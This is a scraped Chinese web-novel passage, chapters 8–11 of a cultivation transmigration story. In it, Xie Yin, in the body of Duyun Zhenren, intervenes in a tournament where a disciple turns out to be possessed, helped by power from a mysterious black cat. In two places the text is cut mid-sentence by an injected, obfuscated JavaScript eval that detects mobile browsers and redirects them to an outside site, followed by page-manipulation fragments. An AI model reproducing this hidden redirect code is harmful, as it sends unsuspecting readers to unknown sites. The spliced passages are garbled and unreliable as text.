谢因如今没有法力,乘坐交通工具的事情自然就交给了兰棹辞。这人扶摇符修第一人的名头倒也不是花钱买的,动了动手指,袖子里便飘出五六张黄纸,转着圈儿在谢因腰间浮动起来,下一瞬他只觉得强烈的推背感把他拉回码速一百八十迈的跑车上,上天入地晃得他直想吐,只好凭空把猫紧紧抱在怀里,增加一点扎实的感觉。 全然没发现小黑猫要被他勒昏过去,两个白眼翻得比满月还大,喵都喵不出来。 修赛博仙,真够方便,谢因抹了一把额上的冷汗:“师兄,以后用这个之前能不能提前预警一下不良反应,万一吐你身上不太好看吧。” 兰棹辞没说话,但速度显然降了下来。这御空符效率奇高,转眼两人已经浮到流光祭坛的上方,视野瞬间开阔了不少。 谢因悬在半空,目下一片世外桃林的繁华热闹。原来扶摇并不只有他那水月洞天所在的高岭雪巅,更多的还是被溪水一样蜿蜒流淌的浮云架起来的缥缈仙境。 腾空而起后,谢因才发现扶摇似乎并不是一整块大陆,而是悬浮于天的十二座星屿,星屿之间由萤火般的光点连接。或许是因为在举办流光祭的缘故,这些光点缓慢地盘旋在每一颗星屿的四角,像支起一个个星帐,奇影朦胧,游光幢幢,美不胜收。 “这仙界确实有点仙界样子……”谢因漫不经心地点评一句。 就在此时,擂台传来一阵喧哗—— “萧循,擂台切磋点到为止!你如此咄咄逼人,算什么!” 脚下擂台上,一个瘦长的身影十分眼熟,谢因再定睛细看,可不就是萧循那个倒霉小孩儿和他拎着的那把破刀吗? 灵力尽失,目力却似乎没受折损,谢因从前有个两百多度轻微近视,如今倒像是给自己装了两枚望远镜,把萧循从头到脚看得分明。 诚如系统所说,如今时钟指针已拨回八年前,萧循还是个屁事不懂的小孩,个头没那么高,瘦不拉几地身上挎着一件完全不合身的衣裳,冷着一张生人勿近的倔强小脸,一招一式相当狠辣。 萧循退后两步,抬起手中长刀,冷笑一声:“打不过就认输,手上功夫还没你嘴上功夫一半厉害,废物。” 小家伙,倒是有些气性。或许是萧循目前模样尚小,很难让谢因把他与那个阴狠的“萧魔主”联系起来,看到这样一个又小又努力的身影,竟让谢因生出几分欣赏。 也是奇怪,这样一个小孩,到底怎么短短八年长成幽冥鬼里那个样子呢? 谢因还在分析遗传学规律,出神太久,手指被小黑猫不轻不重地咬了一口,此猫刚刚被谢因当抱枕那么折磨了一路,谁知两脚兽不仅不懂知恩图报,还轻易被别人勾走了魂儿,一双猫眼里蓄满了嫌弃。 “咪——!” 谢因赶紧呼噜呼噜猫头:“没你厉害,没你厉害。” “咪——!!!!” 此时台上,萧循全然不给对方反应的机会,长刀狠狠向前劈去,全然不管什么刀法剑法,什么章程,一招一式就是冲着要对方命去的! 仙家娇养的小弟子哪见过这种攻势,吓得连连败退,手中法器更是被震出几米之外。 兰棹辞啧了一声:“这小孩儿天分挺高,但心浮气躁,行招太险。师弟先前不是夸过他的天分吗,你仔细看看,我把你放下去。” 谢因还没反应过来:“等……我日!” 兰棹辞自然没听清他要日哪位仙人,真御空符从不减速,抛个谢因像抛一个被搅散了黄的鸡蛋,不到瞬息,此人已经水灵灵地砸在观剑台了。 “轰!” “嘶——”谢因沉着脸黑的像能滴水,浑身被砸得险些散架,繁冗的衣服和头发将他缠了起来,谢因一边把自己从层层叠叠里“剥”出来,一边狂骂兰棹辞一百八十遍,心说姓兰的迟早有一天得被这破符搞得身败名裂! 勉力站稳,谢因听见观剑台谁人惊呼一声—— “天哪,是渡云真人……他今日出关吗?” “渡云真人!居然是他……他也来看这场比试了!” “长着那样一张脸,难怪……” 擂台上打得难舍难分的两人甚至都默契地停了下来,投入擂台的目光也都被收回,集中砸向了谢因。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809961|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶摇,不,哪怕离开扶摇,放眼下界,“渡云真人”这张脸也如水中月,镜中花,是只存在于人口中的谪仙之人。哪怕他刚刚被兰棹辞的破“跑车”搞得一脸郁卒,在他人眼里也像一捧清冽澄明的雪,自满天星河里卸下,清澈又璀璨。 其实不怪兰棹辞天长日久、对师弟心生绮念,此等美人,一眼钟情亦不少怪,见色起意更是人之常情,兰棹辞的道心已经算得上很稳了。 但谢因并不觉得享受,他实在不觉得自己这张脸到底有什么值得迷恋的。像走错了选手通道被迫上场表演唱跳的后勤工作者,被追光灯当个top一样供了起来,每一道视线都如有实质,又像细鞭,深深浅浅地伸向他。 “这又是哪一出啊……” 好在谢因上过班,每次开会摸鱼恰逢领导问他“老谢你怎么看”的时候,谢因都有一套自己的“表演模式”——此时他老神在在地揣着猫,缓慢地扫视一圈,最后理直气壮地在观剑台找了个c位坐下了,抬了抬下巴,示意擂台上继续,不用管他,他只是随便“视察”。 众人自然听令,各自落座,只是视线的余光仍旧若有若无地落在这位“天上地下第一美人”的发梢。 而少有仍在关注擂台的人,也敏锐发现——擂台上萧循的眼神瞬间变了。 他本就攻得又凶又猛,可自从渡云真人落座,萧循提刀再斩,竟连原本还尚存的一点名为“留手”的体面都不顾,猛地一冲,竟割断了眼前对手的襟带,瞬间见了红! 看台上顿时非议四起:“这小子到底使得什么刀法,仙家弟子竟如此粗莽,他师尊也不教导?!” “嗨呦,那是萧循,哪有什么师尊!”窃窃私语说到此处,音量有意转低,“十六年前,渡云真人在山下捡到这孩子,将他交给自己的师弟玉衡真人抚养,自己便闭关去了,并未管教过……” 谢因并不知道萧循的故事,听见有人介绍NPC背景,忙侧耳去听。 对方恍然大悟:“玉衡真人?是那个只知道花天酒地,成天倒在美人榻上的玉衡真人?真神在上,丢尽了仙家门面!” “对对对,就是那个玉衡真人!”另一个声音又说,“那萧循十六年来,被丢到这里又丢到那里,没人真心管教,听说在弟子中也常受欺负,谁知道怎么练出来这一身功夫,自然是招式诡异,心狠手辣了!” 二人再说了什么,谢因听不清了,只是再看向擂台上时,萧循那张倔强又苍白的小脸,不知为何让谢因的心口抽痛了一下。 “奇怪……”谢因轻按了一下心口,不知造成这种反应的是自己,还是渡云。 擂台上输人不输阵,对面的仙门弟子哪忍得了此等奇耻大辱:“萧循!你做什么,知不知道今天是什么日子!” 萧循全然不理,擂台上风云大变,电闪雷鸣,笼罩在他身后,他之前出招已经相当诡谲,如今更是杀意迸现:“杀你就杀你,还要挑日子吗。” 此话一出,看台上更是哗然一片,谢因从身旁逐渐大起来的窃窃私语中,敏锐地抓到一耳:“这个小孩儿状态不对。” “是啊是啊,诡异怪哉……” “仙门何时有这样的弟子,倒有几分魔族浊气……” 魔族浊气……?谢因心下大喊不好,难道好死不死,偏偏是萧循被浊灵附体了? 9. 流光神祭(下) 还真有可能,毕竟这本破书直给,如果有什么重大剧情,必定是落在本小说男主身上。 一道极为阴阳怪气的嗓音从身后悠悠传来:“渡云长老,这持刀的小孩似与真人仙缘颇深呐,想来真人平日不少教诲……却不知此子手段如此阴狠,是否是跟渡云真人学来的?” 话音刚落,便见几个身着白衣,如鹤般清雅的仙君向谢因缓缓靠近,看衣着打扮,与兰棹辞十分相似,只是衣服颜色略有不同,谢因立刻在脑内敲打376号:“这几个是不是仙界十二司的主管?” “哇塞,宿主你会根据穿搭举一反三,聪明啊!”376号立刻化身仙界百科,“仙界除了晏清司以外,另设密宗司、篁岐司、玄镜司、道天司……哦,还有七八个小部门,不太重要。我之前总结了一本《扶摇一本通俗易懂》,篁岐司掌药、术、阵、器的修炼和籍册,是扶摇各司的钱袋子;玄镜司则掌规则法度,各方监察、收集情报情报,有秘密处理修士而不担责的特权,是扶摇内部的家的监督管理部门;密宗司则比较温良,详掌“卷宗、档案、各种事项的记录,是个后勤部门……” “而道天司名义上是统管扶摇的最高部门,也是与上古密卷中神界直接沟通的所在,但千年以来并无主事,道天司圣鸾羽偶尔出来晃晃,传达一下道天司令……宿主你打什么哈欠,你听懂没有?” 谢因听得都困了:“完全没有,太复杂了,你能不能说人话?” “啧,被短视频荼毒成碎片化的现代人类啊,”376号长叹一声,用人话解释,“从职权上说,其余十一司都没有晏清司职权高,所以你比他们牛逼,方才说话的便是玄镜司的几位,上了千年的班都没升职加薪,因此看不起‘不上班还能稳坐二把手之位’的渡云,一有风吹草动就来找你的晦气。” 人话真的好俗啊。 那几位主管虽长相穿着都清风霁月,说起话来却十分mean,看看谢因,又看看擂台上的萧循,冷笑一声—— “小小年纪便如此不分轻重,渡云长老别只顾着自己讨好兰掌司,保住自己的位置,晏清司的其他弟子,也要管教管教呀……” “慎言,慎言,咱们渡云长老那是在闭关,只是闭关在做什么就无人知了,没准忙着……啧……” 兰棹辞的脸色先沉了下来,两张黄符自他袖中悄然飘出,飞至那二人脑后,还未亮咒,却听见谢因十分淡淡地“啊”了一声。 “这是在阴阳我吗?” 玄镜司一唱一和的俩人被他这没由来的“真诚发问”打了个当头,一时竟不知怎么回答如此诚恳的问题。 “师兄勤于公务,把晏清司卷成了十二司之首,导致玄镜司的本务被压缩得岌岌可危,二位心中积怨已久,可惜师兄是个‘完人’,你们抓不住把柄,有火也只能藏着,但我不一样,好不容易看到我,你们可算得到发难的机会了,是吗?”谢因很是恬淡,甚至懒得从座位上起来,一张白瓷般的脸上,一双眸子向下垂视,并没有将他们放在眼里。 就像是前两年他面对自称要整顿职场的00后,能力不足把整个项目组搞得一团糟,辞退后又带着家人大闹公司,最后洋洋洒洒给谢因发了一张3000字的小作文律师函,谢组长都没打开,轻轻回了个“1”,让对方彻底破防。 谢因并不知道原本的渡云真人是何性格,他倒不似渡云那样拒人千里之外,但讲话难听这一点实则非常相似:“毕竟我这么多年不是在云游就是闭关,有什么能耐外人一概不知,恐怕不爱交际,名声也不好听,所以二位掌司是觉得,我怎么看都像是凭借美色蛊惑兰棹辞上位的草包?” 被“真诚”打败的二人面面相觑一眼:“渡云真人自己知晓就好!” “哦,”谢因微笑,“二位掌司也觉得我貌美,多谢。” 二人被这句话激得脸上腾一红,又腾一白,“你你你”了半天都没“你”出新的东西来,而谢因则当听不见,又将视线放回擂台上——萧循对面的弟子被他挑衅数次,已然不再管顾什么套路招数,滚地龙一样跟萧循缠斗起来。 萧循倒是蛮游刃有余的,这真的是被浊灵附体的样子吗? 整个擂台上乌云密布,小弟子的师傅也不知是哪一位,谢因斜眼扫过自己面前的几位长老,竟无一人出面制止,而是忙着触自己的霉头。 “此子毕竟是渡云真人从山下带回的,多年来虽是散养,但偶尔出关,也会询问教授课业,如何不算渡云真人的弟子?”见玄镜司俩人成了哑巴,又不知是哪门好事之徒越众而出,“教出行事如此狠绝的弟子,渡云真人却发难起我们来了?” 果然只要有人的地方就有勾心斗角,神仙也一样。 可惜这里不是他的项目组,谢因半点儿包袱都没有,向后一靠:“既然真的到了各位口中的‘不能放任’、‘行事狠绝’的地步,为什么诸位掌司不先叫停比试,而是忙着在我这儿刷脸?” 他微微挑眉,眼梢有些讽刺:“怎么,打不过我徒弟?” 此话一出,周围的一群看客是擂台打成什么样都不想看了,一双双大小不一的眼睛都若有若无地向谢因这边飘了过来—— 徒弟?谢因亲口认了的徒弟?难怪那么嚣张! …… “行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809962|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 终于,兰棹辞一个头两个大,见他这渡云师弟气定神闲地把各家掌司气得面红耳赤,不好不公允,只好拨开众人,沉下声:“事已至此,即是晏清司门下弟子,由渡云师弟叫停,诸位掌司对我师弟有所误解,今日也请诸位放下成见,管好门人才是要事。” 说着,他手指在袖中一动,想凭空支起御空符,又忽然想起谢因之前在御空飞行时对自己的“下次飞之前先预警一下”的嘱咐…… 眉眼一压,兰棹辞逼音成线,板板正正落进谢因耳中。 “师弟,预警。” 谢因:什么预警? 下一秒,谢因弹射起飞。 谢因:日。 真·御空符从不减速,擂台上的两个弟子打得眼红,两柄长刀铮地一声碰撞在一起,就在此时,只见一阵金光雷电之中,渡云真人携风雷之势直逼而来,那压迫感像是要将他俩就地正法。 萧循一愣,手中破刀一收,下意识向后退了两步。 谢因的衣角方才轻飘飘落下,便听见萧循讷讷叫了句:“仙尊”。 哪有什么“行事狠绝”“浊灵附体”,那表情明明像是犯了错有些手足无措的流浪狗。 萧循已然收手,可他的对手却丝毫不顾及谢因长老的身份,红着眼,竟直直一刀劈了过来!俨然一副管你是谁站在台上,人挡杀人,佛挡杀佛,端地是一往无前的气势。 谢因方才站稳,躲闪不及,手边也无法器,眼见那一刀几乎直冲自己眉心而来,谢因心头猛地一沉—— 作为一个入职之后基本告别健身房的社畜,谢因从未在团建之外的任何地方接触过运动类项目,此时内心只有痛骂兰棹辞的大爷,说让你忘了在水月洞天的事儿,没让你全忘了啊,明明知道他现在灵脉尽断,到底什么回路才能让自己来叫停比试啊?! 更悲哀的是,那刀直直向自己劈来,这具身体居然真没有什么外挂金手指,甚至体魄都算不上很好……连躲开的下意识都没有?! 谢因连连退了几步,那一刀狠狠地落下,他堪堪躲过,大概是比较狼狈的,脚下不稳,险些落下擂台,衣角也不慎被切去一块! 观剑台一片死寂,随后又沸腾起来,众人眼中的惊愕转换成了轻蔑。 “这怎么可能?堂堂渡云真人竟无一丝灵力,连玄镜司弟子的一招都接不住?!” 全然不顾擂台上那位更像“走火入魔”的弟子还未停手。 谢因心一沉,376号的系统音也在此时适时响起: “啊哦,宿主你好像要被发现了,任务失败,你要死翘翘了诶。” 10. 天外来客 看台上又活跃起来—— “你们没发现吗?渡云真人每次闭关之后……灵力都不如前……” “听说最近扶摇西北角的结界也有异动,难道跟他修为大减有关?” “哼……晏清司的长老还真的修炼邪术,走火入魔不成?” 谢因来不及顾忌愈来愈大的争议声,只见那玄镜司弟子杀红了眼,像是根本听不见旁人说的话,更不在意当下的情形!谢因在呼吸之间察觉到,这孩子面色枯槁,嘴唇发白,唯有一双眼里尽是杀意,比起“活人”,看起来更像是个傀儡。 谢因刹那间明白:被浊灵附体的压根儿不是萧循,而是对面那个小弟子。 萧循的状况……怎么更像早已知情,故意把他的狂性引将出来呢? 他下意识想与兰棹辞交换情况,可放眼观剑台,兰棹辞已经被围的水泄不通,各路同门总算有的放矢、争先恐后地别谢因的苗头。 ……根本无暇分神看谢因一眼。 像个发布任务的npc。 谢因适才发现,这个世界看似已经有一部分脱离了原作母本自行诞生了一套逻辑,只要出现有助于剧情发展的重要节点,所有人的行为都像是被预设一样。 譬如现在,原作里渡云真人应该就是在此处修为尽失暴露炉鼎体质的,于是所有人都在推波助澜。 像是有一只手,无形地拨动剧情的天平。 这小弟子根本不可能停手。谢因目色一沉,方一张口,只觉喉间一阵腥甜,抬手一拭,竟晕出一道血痕。 “奶奶的,果然凡胎□□搞不赢这群修仙的。”谢因说不慌神是假的,御空符替他挡不了多久,浊灵入侵的事情恐怕很难瞒下去不说……如果自己被调查,渡云灵力尽毁的事一定会暴露,任务失败他就死定了。 可是在这挨打也会死定的吧……谢因闭目,心说萧循这小孩儿动作慢死了,这时候不护驾等着跟他一起死吧。 就在此时,他突然听到一个很虚无的声音,像是从第三空间之类的地方传来的asmr,就在自己耳边,却并无实物,那个声音笑得很温和——“不想死?” “谁?!”随着这阵声音,谢因只觉得灵台三寸有一阵火焰烧灼的沸腾之感,下腹气海涟漪轻泛,随后又疯狂地震荡起来,这种怪异的感觉让谢因下意识有些抗拒,“你是什么人,为什么可以……” 那个声音并不预备和谢因废话:“闭眼,运气,不想死就听我的。” 谢因下意识照做,合眼瞬间,仿佛血管中除了第一次接受了全新的流质,随着奔腾的血液贯通他的四肢百骸……竟是一股巨大的灵力钻进了他的身体?是谁给他的? 谢因手腕一痛,睁眼时,才发现那只在他袖子里打盹的黑猫不知何时窜到了他的肩上,转头的一瞬,他和那双竖成一线的眼瞳正正对上,那是一双金色的眼睛。 荒诞的想法攀上谢因的心头,他微微侧脸,对上毛茸茸的小胡须:“难道,是你……” 来不及等到回答,谢因忽觉背后一凌,脑子还没反应过来,身子竟已如燕般轻巧躲开,顿时身上的纱衣似莲花般散开,衣袂之上竟有淡淡蓝色灵光!玄镜司弟子攻势落空,竟一点都不需要反应的功夫便又向谢因连绵不绝地刺来,蒙着白色雾气的双眸似乎根本察觉不到谢因身遭气势陡变。 那个虚无的声音在谢因稳稳落地后似是很满意,语气还有一些好暇以待等待夸奖的意思:“不错,会了?” 谢因莫名其妙体验了一把威亚项目,脑子都是蒙的:“会什么会了?!” “会了就行,”那个声音完全不在意谢因回了什么,“浊灵在他七寸,你从侧面……” 可能是刚刚消化完渡云真人“英雄”救“狗”的伟岸,萧循可算不发呆了,两步之间便挡到谢因跟前,指向身中浊灵的玄镜司弟子:“伤他?你找死!” “啧。”谢因脑子里那个声音不知为何有些不爽,语气瞬间淡了下来,“真人真是天下桃李,你现在是想享受被心爱的好徒弟‘英雄救美’,还是保留自己的脸面,给扶摇来个下马威?” 那还用想,谢因嘴比脑子快:“我有那么牛逼?能不能让我试试。” “哦,那就让这死小孩走远点。”谢因的手被控制着向外一挥,满溢的灵力像是找到了泄洪的闸门,砸开道筏横冲直撞地扫了出去,一阵红光近乎笼罩了一整个擂台,汹涌的灵力如惊涛骇浪,不仅把那个玄镜司的小兄弟摔出了擂台,还把来护他的萧循一视同仁地扔了出去! 众人在巨大的灵力风暴之中,只见谢因面不改色,淡漠的面庞上似是对扶摇众人的嘲讽,直到一阵红雾几乎笼罩所有人的视线,另人不自觉闭眼躲闪。 灵力风暴散去,如一叶小舟,将半空中晕厥的玄镜司小弟子稳稳托着放在地上,而萧循则实打实摔了个大的。 小猫确认萧循摔得结结实实,愉悦地“喵”了一声,很是优雅地站在谢因肩膀上,眸中赤红色光芒大盛,斥地观剑台上看热闹落井下石的趴了八成,剩下几位修为仅次兰棹辞的还能勉力站着。 谢因不明就里,只觉灵力几乎如抽丝一般从他身上散去,谢因腿软到几乎要跪下,但他勉力维持住了身形,飞起的外衫悠悠落下,显得渡云真人颇有那么几分破碎感。 方才那股巨大的灵力力究竟从何而来,现在又去了何处,他根本不知道,唯一知道的是——狐假虎威也好,浑水摸鱼也罢,这么牛逼的一场战斗力,另观台上的一行人如今都支支吾吾起来,向自己投来的眼神也多了几分收敛。 谢天谢地,一时半会应该无人会质疑渡云真人的“真材实料了”。 玄镜司长老面如菜色,颤颤巍巍抬手指向谢因,好险呕出一口血:“……你,你究竟……” 是什么东西。这话他没敢说,毕竟如此强悍的修为,恐胜在座所有人,他毕竟要脸,毕竟要命。 更可怕的是,渡云真人身上明明感受不到什么灵力……难不成这人闭关时又加突破,人已入臻化境,或者修炼高明到把所有人踩在脚底的程度了?几人面面相觑,都不再多言。 谢因收回手,小黑猫重新栽到他怀里,那双灼人的金色的眼瞳又恢复了宝石红色,此时正在优哉游哉地舔毛,谢因提溜起它的后脖颈子打量它,软绵绵毛茸茸的小东西“咪”了一声,粉色的肉垫在空中踩起奶来,看起来完全就是一只如假包换的无害小猫咪。 怎么都想象不到它和那个温和中带着戏谑的虚无声音有关联是什么样子…… 情势紧急,谢因也来不及去抓那个送了自己一阵子灵力的“救命恩人”,他大步登上观礼台,忽略了对自己上下打量的几个老登,只对兰棹辞一颔首:“师兄,烦请先命人把这两个孩子带回晏清司处置。” 兰棹辞明白谢因是要尽量封锁那弟子身上有浊灵入体的消息,挥挥手,便有几位青碧色校袍的青年落在擂台外,把摔得次牙咧嘴的萧循和还在昏迷的玄镜司弟子扣了起来。 “谢因!”玄镜司的长老立时又跳起来,“你处置你晏清司的弟子也就算了!现下想扣我玄镜司的人,何来这样的道理!” “道理?晏清司抓人要什么道理,”谢因琢磨了一下,觉得自己这话说的太像□□,于是语气几无波澜地找补,“晏清司负责流光祭的安全保障,你手底下的实习生……手下的弟子恶意伤人,甚至袭击师长,若晏清司放任不管,你岂不是又要A上来说我失职了。” 兰棹辞干咳一声,替谢因翻译成官话:“既然是长老的得意门生,如果他没有问题,我们自然放人。” “哼!说得好听!”谢因这几句话显然猛戳这位玄镜司长老的痛脚,谁人不知晏清司接管扶摇以来雷霆手段,他玄镜司都快闲出霉来了,他谢因当面挑衅,岂能容他如此狂悖,“你们晏清司不分青红皂白扣人也不是第一次了,甚么‘问题’,就算没有问题,难道你们就会轻易放过吗?别以为我们不知道,今日晨起,其他各司被扣留的数位弟子们,如今人又在何处?” 兰棹辞脸色一沉,望向谢因,纵是小心行事,弟子失踪太久,仍然不好交代。他试图从师弟眼神中读出什么 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“长老太客气了,看笑话怎么也轮不到我,”谢因找了个座儿,才懒着和他们站着干瞪眼,四平八稳地坐了下来,乜斜道,“扶摇又不姓谢,一荣俱荣,一损俱损,你们不会觉得出了这样的事儿,光找晏清司的晦气就能挽回颜面吧?” 诸位长老的脸上都一阵青一阵白的。 显然谢因没打算给众人任何反驳时机:“浊灵最易附在道心不专、修为较浅的新弟子身上,今晨起晏清司发现数十名弟子行事诡异,不明缘由,哦,说来,玄镜司各位长老的得意门生占了泰半。” “那我想问,”谢因瞥了一眼对方,“玄镜司究竟是如何培养弟子的,给浊灵有机可乘?” 不得不说,尽管谢因认为现在他只是在与对方友好对话,但他那双眼睛不含情绪地、漫不经心地放在别人身上时,配上他平板板的话音,确实很像看狗。 “渡云你这……!”这玄镜司的长老险些被他盯得倒仰过去,这人虽然出关之后变得更古怪了,嘴里说着不知道哪儿学来的疯话,但这气人的一张嘴分文不变,如假包换! 兰棹辞适时咳了一声,示意诸位安静,“疑似行为有异的弟子都被安置在晏清司排查清洗,并无大碍,之所以未把此事公开,是不希望诸位为了一点个人恩怨,本末倒置,将扶摇的安危抛之脑后。目前形势,晏清司已有对策,待此事闭,兰某会上报道天司,自领责罚。” 兰棹辞起先可能没什么计划,估计真的被bug洗脑,认为他是罪魁祸首。只是这厮天塌下来都必须在外人面前维持扶摇和晏清司的体面,于是他也装了装:“流光祭照常进行,晏清司会保障诸位的安全,各司长老有事可到晏清司一议,若没有,就各司其职,别一天到晚盯着谢某了。”说真的,他想收费。 争了也没用,吵又吵不过。 终于没人再出言驳斥,连玄镜司的歪脖子老登都哑口无言,只能任凭晏清司的弟子用捆仙锁把人绑了带走,留下一句“我看你们能嘴硬到几时”,狼狈离开了。 “不过……”眼看擂台比试暂时叫停,兰棹辞意外地补充一句,“被浊灵附体之人通常会受其影响,成为浊灵怨气的武器,实力一定会比往日提升数个层级,你捡回来那个叫萧循的弟子居然能在这种情况下不露败象,很奇怪。” 谢因经这提醒,在人群中扫了一眼,才看到蹲在角落脸上灰扑扑的萧循,身边是几个正在忙里忙外的晏清司弟子,纵是女孩都比他高了半个头,孩子脸上身上都挂了伤,唯有一双格外清明的眼睛,正透过层层的人群,十分挚诚地落下谢因身上。 谢因招招手:“你过来。” 十六七岁的模样,少年的眉眼,一改擂台上凶相毕露,面对谢因和兰棹辞两座大佛,一时不知道眼镜和手要往哪儿放,只好把那口拿不出手的破刀往衣摆下藏了藏,露出一个称得上淳朴的笑:“仙……仙尊。” 谢因想不通啊,这小孩儿和八年后那个跟他玩儿强制爱的青年真的是一个人? 11.我分得清 兰棹辞并不知道谢因现在的满腹心事,例行问道:“你与他切磋前,可感觉到异样?” 萧循的目光先是在谢因身上停留一瞬,又像是被烫了一下似的立刻转回了地上:“是,比试之前他对弟子反复出言挑衅,侮辱渡云真人,弟子气不过,这才下手重了些,没想到竟然是因为浊灵……” 字句恳切,表情委屈,如果不是谢因和兰棹辞全程围观了他的比试,恐怕真要被这小孩儿的“人畜无害”给骗过去了。 兰棹辞向谢因摇摇头:“这孩子身上确实没有浊灵的气息。” 谢因皱眉:“没有浊灵驱使,为何他打法诡谲,刀刀要害……” “有没有可能,”兰棹辞十分认真地看向谢因,“你这弟子就是纯坏?” 谢因:…… 可这也怪了。谢因转过身去,又望向萧循,从他刚穿过来的故事结尾来看,萧循就是那个会觉醒魔种的未来魔尊,那么按照一般的修仙套路,这种小孩儿修为尚浅时必然会经受不住蛊惑,做出这样那样对不起门派的事情,后来因为人缘太差没人作保,被逐出师门堕化成魔逆天修行然后莫欺少年穷把扶摇捅个底朝天,最后坐拥娇妻右抱美妾走上人生巅峰。 哦,诚然,这本书里的“娇妻美妾”好像特指谢因本人。 可他居然没有被浊灵沾染……为什么?这根本不合理。 遇事不决,谢因猛敲376号。 376号等了好一会儿才上线,声音听起来像刚睡醒,刚接通就发出了巨大的震惊:“我去宿主,你干什么了,剧情怎么已经推到这儿了?!” 谢因真的很想给他投诉了:“什么意思,合着我真的在开放世界,你这个NPC连我到哪一步了都不知道?明天我直接嗝屁了你班也别上了。” “不不不不,”376号那头快速翻书,甚至有些语无伦次,“怎么进展那么快,不对啊,这里你应该进入流光祭剧情,因为灵力尽失导致在擂台受伤,一边在水月洞天静养一边寻找修复灵脉的秘籍,道天司也会来找你的麻烦,此时会出现第二个任务‘瞒过道天司的审问’,此时你凭借修复了一部分的灵脉巧妙作答通过测试,最后伤势恢复你又查清浊灵一案而让各司长老都对你赞不绝口,成为仙界完美无瑕的白月光第一人……” 376号发出尖锐的暴鸣:“我就睡了一觉,你怎么全部跳过了?!” 谢因哪儿知道:“听起来是因为我在擂台上没有受伤,出现了一只薛定谔的猫,让我走向了另一个剧情。” “什么叫没有受伤,”376号停顿了一会儿,“你是说,你自己打晕了浊灵入体的弟子,所以没有受伤,也没有丧失修为的事情……可你哪儿来的灵力?” “你问我?你是系统我是系统?”谢因对此人的不专业程度深恶痛绝:“原作里没有这样一段?渡云身边难道没有这种怪异的第三空间或者金手指?” 这下轮到376号发出灵魂质问了:“你觉得这本破书会写这么复杂的设定?” 说到这里,谢因突然觉得背后一凉:“那……猫?有没有可能?渡云之前有只灵宠,会不会是灵宠显灵。” “灵宠?”376号像听到了什么荒唐的话,“原作渡云对猫毛花粉都过敏,而且极为在乎外表,从来不养这种会抓坏他衣服还掉毛的小动物啊。” 什么意思……谢因愣住了,他一直以为那只猫是前身渡云的私有灵宠,身上或许还有渡云的一魂一魄之类的,因此能爆发出如此惊人的灵力,并与自己“人猫合一”,可如果原身根本没有灵宠,那那只猫身上能把仙界第一兰棹辞震出洞府、又能在擂台上给自己灌输力量的能力来自何处? 谢因下意识想去摸袖子里那团黑色的毛茸茸,而小黑猫像是提前感知到谢因的怀疑和想法,还未等谢因摸上来,蹭的一下从袖子里窜了出去——谁知谢因眼疾手快,一把抓住它的后脖颈子,小黑猫瞪大了红色的眼珠子“咪”了一声,粉色的肉垫在空气里乱飞。 “看起来也不像是什么怪猫啊,长得也挺可爱的,”376号的声音围着小黑猫转了一圈,“检测中……滴滴滴,这小猫身上也没有多少灵力,难道纯属是跑丢了?” “哎呀这不重要,小猫咪而已,这种原作里不存在的角色应该也不会对剧情产生太大的影响,”376号倒是想得很开,语速也很快,一副自己快下班了发现工作文件里有BUG不得不加班但是很烦的样子,“总之虽然不知道什么原因你直接跳过了几个剧情,但没有暴露自己灵脉尽断并且取得了仙界信任这条主线还是完成了,现在直接就要开始走查清浊灵案这一趴……至于萧循,根据之后的剧情看来,他的设定里似乎有不受浊灵控制这一点,毕竟他本就是魔,浊灵再恶也没他恶吧。” 谢因意外:“你是说他体质特异,对浊灵绝缘?” “可以这么说。” 若真如此,那倒是很方便的体质。 毕竟按照现在谢因对这个世界的理解,“浊灵”这个小东西恐怕会持之以恒地给他们找麻烦,在金手指与自己根本无缘的现在,他不保证自己不会被浊灵盯上,而这个时候,如果有萧循这种“绝缘体”在身边,应该会方便很多。 何况按照376号的说法,他的终极任务是防止魔尊黑化,修正崩坏世界,那么萧循就必须在他眼皮子底下看好。 谢因了然:“看来这个徒弟是非收不可啊……” 思及此处,谢因一只手提溜着四爪乱扑腾的小黑猫,微笑、和蔼地走到灰扑扑的萧循面前,另一只手春风化雨地摸摸小破孩的头:“你表现很好,跟着HR……晏清司的师兄们先回去,我晚点再找你。” “仙尊?”萧循受宠若惊地一抬头,跟谢因的眼睛对上的一瞬间,颊边飞布红霞,耳根都带了些清润春意,讲话开始结巴,眼睛里却闪着细细的光,“我,我会一直等您的,您不要忘记啊。” 而后,一步三回头地看着谢因,慢吞吞又乖巧地跟着师兄师姐们身后离去。 “这小家伙自小冷僻,像是不会笑,一看到你倒是笑得开心,”兰棹辞看着远去的一行弟子,幽幽开口,似有些醋意,但很快又用谈正事的口吻掩盖,变回那副古井无波的样子,“当务之急还是要抓出与魔界勾结的奸细,尽快彻查浊灵入侵一案,否则仙界大乱……你又去哪儿?” “回水月洞天处理一下‘家务事’,师兄先回晏清司,我马上就到!”谢因挥挥手,手里的小黑猫龇牙咧嘴。 走了两步又倒回来:“师兄,那个移形换影,再来一次。” 兰棹辞:? …… 赛博修仙的好处是,东西的设计没那么复杂,只要兰棹辞的人设不崩,这符就好用。 水月洞天仍旧是遍地狼藉的原貌,谢因暂时没去处理。 小黑猫挣扎无果,任谢因提溜着后脑勺,被放回玉床上时也耷拉着个下三白眼,十分不爽地看向盯着自己的谢因。 